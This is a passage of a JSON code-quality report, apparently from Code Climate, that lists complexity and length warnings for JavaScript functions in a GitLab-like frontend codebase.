Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `addIssue` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"70f0f8ea0547b7001e920932e4980ddc","location":{"path":"app/assets/javascripts/boards/models/list.js","lines":{"begin":164,"end":200}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `addIssue` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"7f1eced6b6dca9d960756de9b56ac3c4","location":{"path":"app/assets/javascripts/boards/models/list.js","lines":{"begin":164,"end":200}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Function `moveIssueInList` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"3726eea384e1d9e6d6d8eebb989b0a55","location":{"path":"app/assets/javascripts/boards/stores/boards_store.js","lines":{"begin":152,"end":152}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `moveIssueToList` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cc191b6dd17cde39e7dd162fd47e19c7","location":{"path":"app/assets/javascripts/boards/stores/boards_store.js","lines":{"begin":100,"end":144}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `moveIssueToList` has 38 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0501fa18f105e7c808db7348aee50cb4","location":{"path":"app/assets/javascripts/boards/stores/boards_store.js","lines":{"begin":100,"end":144}},"other_locations":[],"remediation_points":912000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `newListDropdownInit` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8f897d86e7796b5b3d49f700124b5adb","location":{"path":"app/assets/javascripts/boards/components/new_list_dropdown.js","lines":{"begin":26,"end":82}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `newListDropdownInit` has 51 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f73b08dfbb16f388d03764aefc71b663","location":{"path":"app/assets/javascripts/boards/components/new_list_dropdown.js","lines":{"begin":26,"end":82}},"other_locations":[],"remediation_points":1224000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `projectSelect` has 74 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8ccd46aac4a6745374730b2c4f0f1a7f","location":{"path":"app/assets/javascripts/project_select.js","lines":{"begin":7,"end":87}},"other_locations":[],"remediation_points":1776000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `query` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8facf3a4b06c65c72b401a6ae241812e","location":{"path":"app/assets/javascripts/project_select.js","lines":{"begin":27,"end":64}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `swipe` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"cd344682f57e11e94307c0ae71e31b21","location":{"path":"app/assets/javascripts/commit/image_file.js","lines":{"begin":118,"end":153}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `onion-skin` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d98db2ac5d0ba5352c5501d8e616908a","location":{"path":"app/assets/javascripts/commit/image_file.js","lines":{"begin":154,"end":193}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `mergeUrlParams` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9586f62e5526e65ea5dea846d2d34814","location":{"path":"app/assets/javascripts/lib/utils/url_utility.js","lines":{"begin":19,"end":41}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `common_utils.js` has 421 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"5b2e1f175792cddc3122cb26f6f2901b","location":{"path":"app/assets/javascripts/lib/utils/common_utils.js","lines":{"begin":1,"end":647}},"other_locations":[],"remediation_points":3662400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `handleLocationHash` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"73cd83cbd5164515c6be6e51ced09b94","location":{"path":"app/assets/javascripts/lib/utils/common_utils.js","lines":{"begin":79,"end":112}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `urlParamsToObject` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"87d0167946e02e230645b1a8b4416926","location":{"path":"app/assets/javascripts/lib/utils/common_utils.js","lines":{"begin":152,"end":175}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `createOverlayIcon` has 40 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1195653ae898b98df0d276acb1429b55","location":{"path":"app/assets/javascripts/lib/utils/common_utils.js","lines":{"begin":458,"end":505}},"other_locations":[],"remediation_points":960000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `onload` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d3e5a07a00d95bb2f853dee0c1c50e98","location":{"path":"app/assets/javascripts/lib/utils/common_utils.js","lines":{"begin":462,"end":502}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `isSticky` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b5704d88401ccd1910b07573165064f6","location":{"path":"app/assets/javascripts/lib/utils/sticky.js","lines":{"begin":10,"end":31}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Function `insertMarkdownText` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"1ff368be1929703177fe923eb38be8a2","location":{"path":"app/assets/javascripts/lib/utils/text_markdown.js","lines":{"begin":54,"end":54}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `moveCursor` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"78da0046365fa4a2a913735a7884c4fe","location":{"path":"app/assets/javascripts/lib/utils/text_markdown.js","lines":{"begin":34,"end":52}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `insertMarkdownText` has a Cognitive Complexity of 18 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9c17d7ff9d0dfd043e0ac8b46e612742","location":{"path":"app/assets/javascripts/lib/utils/text_markdown.js","lines":{"begin":54,"end":111}},"other_locations":[],"remediation_points":1450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `insertMarkdownText` has 43 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f38a0d7dccba49d8195065ab71f8ef39","location":{"path":"app/assets/javascripts/lib/utils/text_markdown.js","lines":{"begin":54,"end":111}},"other_locations":[],"remediation_points":1032000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `toggleScroll` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a1904c8e94b053af5f2371dece57951f","location":{"path":"app/assets/javascripts/lib/utils/logoutput_behaviours.js","lines":{"begin":14,"end":41}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getMonthNames` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5630d70a3018ea651454e11d959c7e26","location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":16,"end":47}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getTimeago` has 42 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"915cddbb51190cedb7c5488e6d3f715a","location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":77,"end":122}},"other_locations":[],"remediation_points":1008000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `dateInWords` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"35c8c58c18a9af9c0ee997ae5d4b8e48","location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":201,"end":243}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initKeyNav` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"90bcaab65ebc8665cd94e8e6286ad7d3","location":{"path":"app/assets/javascripts/tree.js","lines":{"begin":28,"end":66}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `generateUnicodeSupportMap` has 47 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"3235c3b88f6c553ff280eac9faec19fa","location":{"path":"app/assets/javascripts/emoji/support/unicode_support_map.js","lines":{"begin":77,"end":141}},"other_locations":[],"remediation_points":1128000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `getUnicodeSupportMap` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d9342f9326c59d8e19277db8a2cb8500","location":{"path":"app/assets/javascripts/emoji/support/unicode_support_map.js","lines":{"begin":143,"end":178}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `glEmojiTag` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"580f88e3583b6c310ded6fbad9390305","location":{"path":"app/assets/javascripts/emoji/index.js","lines":{"begin":69,"end":102}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initDropdown` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"301e9b71ddb9969243fc57daa227b33b","location":{"path":"app/assets/javascripts/sidebar/lib/sidebar_move_issue.js","lines":{"begin":27,"end":59}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `branch_graph.js` has 307 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"8f961e52cddbca0cb2dd3290c7063853","location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":1,"end":352}},"other_locations":[],"remediation_points":2020800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `buildGraph` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"18ed687a5ecc08e272ec3f5a1e45ba85","location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":103,"end":139}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderPartialGraph` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"790548e7db64ebbadd07868d6c20245b","location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":141,"end":171}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `appendLabel` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"918265d9fa262a2ea6ddda4b96f04407","location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":211,"end":246}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `drawLines` has 39 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"df364db884043c3c81e753fb9a58ee90","location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":286,"end":333}},"other_locations":[],"remediation_points":936000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `testWrap` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"65093271e08f9838db54de85e17d7c79","location":{"path":"app/assets/javascripts/network/raphael.js","lines":{"begin":37,"end":72}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `commitTooltip` has 31 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"c2753572072946d03cae221981b2a147","location":{"path":"app/assets/javascripts/network/raphael.js","lines":{"begin":3,"end":35}},"other_locations":[],"remediation_points":744000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `testWrap` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"3ac8fefe6574f998844a591c4dff399c","location":{"path":"app/assets/javascripts/network/raphael.js","lines":{"begin":37,"end":72}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.TOGGLE_LOADING` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"41230e2a140c3c519f16d17067a948c0","location":{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":14,"end":24}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.RENAME_ENTRY` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"65c7f9e9aa2de7fa4e24860dbded9820","location":{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":214,"end":263}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`` has 26 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"ee3f6d8624f678d9741d386c4252f0fc","location":{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":10,"end":269}},"other_locations":[],"remediation_points":1800000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `types.RENAME_ENTRY` has 40 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"98f116d65b4aa0e565234027efee827f","location":{"path":"app/assets/javascripts/ide/stores/mutations.js","lines":{"begin":214,"end":263}},"other_locations":[],"remediation_points":960000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.SET_FILE_RAW_DATA` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"6460bb9792e8eedb0b1e558f229e6ffa","location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":53,"end":75}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.DISCARD_FILE_CHANGES` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"aa62953384fc873bd8bddabed1341a3a","location":{"path":"app/assets/javascripts/ide/stores/mutations/file.js","lines":{"begin":128,"end":154}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `closeFile` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ca626095e258a497e9cf9c1fa4b7537e","location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":10,"end":40}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `createCommitPayload` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ead12c6a7c7c105251c94c6af2fda7b0","location":{"path":"app/assets/javascripts/ide/stores/utils.js","lines":{"begin":133,"end":145}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `decorateData` has 44 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f8abacda37ac495ce54d8ce69e488724","location":{"path":"app/assets/javascripts/ide/stores/utils.js","lines":{"begin":55,"end":101}},"other_locations":[],"remediation_points":1056000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this 